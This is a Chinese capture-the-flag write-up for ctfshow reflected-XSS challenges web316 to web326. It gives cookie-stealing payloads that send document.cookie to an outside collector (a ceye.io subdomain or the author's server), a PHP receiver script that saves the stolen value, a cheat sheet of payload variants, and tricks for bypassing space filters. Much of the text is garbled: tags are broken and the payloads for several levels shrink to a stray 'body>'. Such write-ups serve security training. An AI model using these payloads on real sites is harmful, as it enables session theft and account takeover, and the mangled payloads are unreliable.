ctfshow_web316-326_反射型XSS

ctfshow_web316-326_反射型XSS

  • Web316 反射型XSS
    • 法一:自己有服务器域名
    • 法二:使用ceye网址临时域名
    • 法三:使用xss平台
  • 普通反射型XSS方法总结
  • web317 反射型XSS 带过滤 用
  • web318 反射型XSS 带过滤 用
  • web319 反射型XSS 带过滤 用
  • web320 带过滤(空格)反射型XSS 用
  • web321 带过滤(空格)反射型XSS 用
  • web322 过滤(空格)反射型XSS 用
  • web323 过滤(空格)反射型XSS 用
  • web324 过滤(空格)反射型XSS 用
  • web325 过滤(空格)反射型XSS 用
  • web326 过滤(空格)反射型XSS 用

Web316 反射型XSS

首先打开网站,看一下,发现这个是反射型XSS
ctfshow_web316-326_反射型XSS_第1张图片

法一:自己有服务器域名

反射型,可以在自己服务器上,写一个类似于将参数写到当前目录PHP的小脚本。
脚本具体内容如下:


$content = $_GET[1];
if(isset($content)){
    file_put_contents('tmp/flag.txt',$content);
}else{
    echo 'no date input';
}

开发者工具里,控制台,输入命令

alert(document.cookie)

ctfshow_web316-326_反射型XSS_第2张图片
之后出现弹窗,如下
ctfshow_web316-326_反射型XSS_第3张图片
显然不对,之后要想拿到管理员的这个弹窗里的flag
如果有自己私域的话,可以用上面代码然后使用下述payload,可以在tmp文件夹下看到flag.txt里有flag
注意,这里不能用自己127.0.0.1,需要转发cookie才能看到,所以要用私域。

<script>
document.location.href='http://这里是私域名/316.php?1='+document.cookie
script>

法二:使用ceye网址临时域名

这个需要一个域名,去这个网站可以注册一个临时域名:CEYE
之后输入如下payload,然后生成链接,之后便可在那个网站里收到http响应。

<script>
var img=document.createElement("img"); img.src="http://gvipx6.ceye.io/"+document.cookie;
script>

这个payload的意思如下:

var img=document.createElement("img");  //这个是生成一个img对象
img.src="http://gvipx6.ceye.io/"+document.cookie; 
/*是加载一张图片加上当前的cookie这里我们填写的是接收平台的地址,所以带上document.cookie去加载地址然后平台会有记录cookie的值,ctf平台会有个虚拟机器人,充当admin身份,每隔一段时间点开网站它一点开就会加载payload,发送它自身的cookie在那个框内输入那个标签输进去,网站一加载就执行了我们输入的xss代码然后他自己会发送cookie
*/

话说这个网址的虚拟机器人充当admin身份,可以直接查看http,上面的php代码没有用到。
ctfshow_web316-326_反射型XSS_第4张图片
之后便得到了flag

ctfshow{09df5968-f68b-423e-b12f-7b8fce03d73f}

法三:使用xss平台

使用xss平台:https://xss.pt/xss.php
参考这个博主师傅的方法:使用XSS Platform解决XSS题目

普通反射型XSS方法总结

  • script
<script>var img=document.createElement("img"); img.src="http://....ceye.io/"+document.cookie;script>
  1. window.open
<script>window.open('http://....ceye.io/'+document.cookie)script>
  1. input
<input onfocus="window.open('http://....ceye.io/'+document.cookie)" autofocus>
  1. svg
<svg onload="window.open('http://....ceye.io/'+document.cookie)">
  1. iframe
<iframe onload="window.open('http://....ceye.io/'+document.cookie)">iframe>

5. body

<body onload="window.open('http://....ceye.io/'+document.cookie)">
  1. 可能还有一个工具和一个平台对付此类题很好用:
    平台:XSS Platform
    工具:XSStrike

web317 反射型XSS 带过滤 用

看题目这里,发现它过滤了。
ctfshow_web316-326_反射型XSS_第5张图片
输入316题的payload,发现没有任何东西。
由此可知,可能是过滤了

  • 用body语句构造payload
<body onload="window.open('http://gvipx6.ceye.io/'+document.cookie)">body>

写入之后,点击生成链接之后,出现了此界面,有代码201可知,注入成功,看一下ceye的网址上http request
ctfshow_web316-326_反射型XSS_第6张图片
出现了flag
在这里插入图片描述
本题的flag为

ctfshow{47df6a6c-2ce2-4786-b8b8-985289cff2fd}

web318 反射型XSS 带过滤 用

和上一个题一样,输入payload

<body onload="window.open('http://gvipx6.ceye.io/'+document.cookie)">body>

出现201代码
ctfshow_web316-326_反射型XSS_第7张图片
打开ceye网站,看到flag
在这里插入图片描述
flag如下:

ctfshow{d7410f6b-2110-4aa2-81c7-3f0d80ac157f}

web319 反射型XSS 带过滤 用

和之前一样,构造payload

<body onload="window.open('http://gvipx6.ceye.io/'+document.cookie)">body>

ctfshow_web316-326_反射型XSS_第8张图片
在这里插入图片描述
flag如下:

ctfshow{30eb2d6e-e25b-4d48-a214-a26a7defd9ec}

web320 带过滤(空格)反射型XSS 用

如之前的题,构造一样的payload,生成链接

<body onload="window.open('http://gvipx6.ceye.io/'+document.cookie)">body>

点击生成链接之后,发现没有反应,发现这个题是过滤了空格

一般空格被过滤有如下替换方法

  1. /**/
  2. /

之后修改payload,把空格替换成/**/,变成如下payload,两个都可以

body>
body>

ctfshow_web316-326_反射型XSS_第9张图片
在这里插入图片描述
flag如下:

ctfshow{9dbd340c-ba6f-4a10-88b7-d5ed49f7a671}

web321 带过滤(空格)反射型XSS 用

和上一个题一样
构造payload

body>

ctfshow_web316-326_反射型XSS_第10张图片
在这里插入图片描述
flag如下

ctfshow{ea096bdf-2c6b-4ca5-a8ed-e0c77e6eaeef}

web322 过滤(空格)反射型XSS 用

构造payload

body>

ctfshow_web316-326_反射型XSS_第11张图片
在这里插入图片描述
flag如下

ctfshow{0cd32425-ed6b-47d9-8c0d-9e9d4d5d4648}

web323 过滤(空格)反射型XSS 用

和上题一样的payload,也是过滤了空格

body>

ctfshow_web316-326_反射型XSS_第12张图片
在这里插入图片描述
flag如下:

ctfshow{7a355fe9-775c-4918-a1d6-d15ca2b53148}

web324 过滤(空格)反射型XSS 用

和上题一样的payload,也是过滤了空格

body>

ctfshow_web316-326_反射型XSS_第13张图片
ctfshow_web316-326_反射型XSS_第14张图片

ctfshow{2656346c-f0b8-4e33-98d3-17da7379e64d}

web325 过滤(空格)反射型XSS 用

和上题一样的payload,也是过滤了空格

body>

ctfshow_web316-326_反射型XSS_第15张图片
在这里插入图片描述

ctfshow{e46cfdf8-1926-476b-ac15-7a790472015f}

web326 过滤(空格)反射型XSS 用

和上题一样的payload,也是过滤了空格

<body/onload="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>

ctfshow_web316-326_反射型XSS_第16张图片
在这里插入图片描述

ctfshow{7aa1a537-36af-4162-91f4-d38ac4a75d88}

你可能感兴趣的:(#,Web,刷题记录,CTF,web3,xss,php)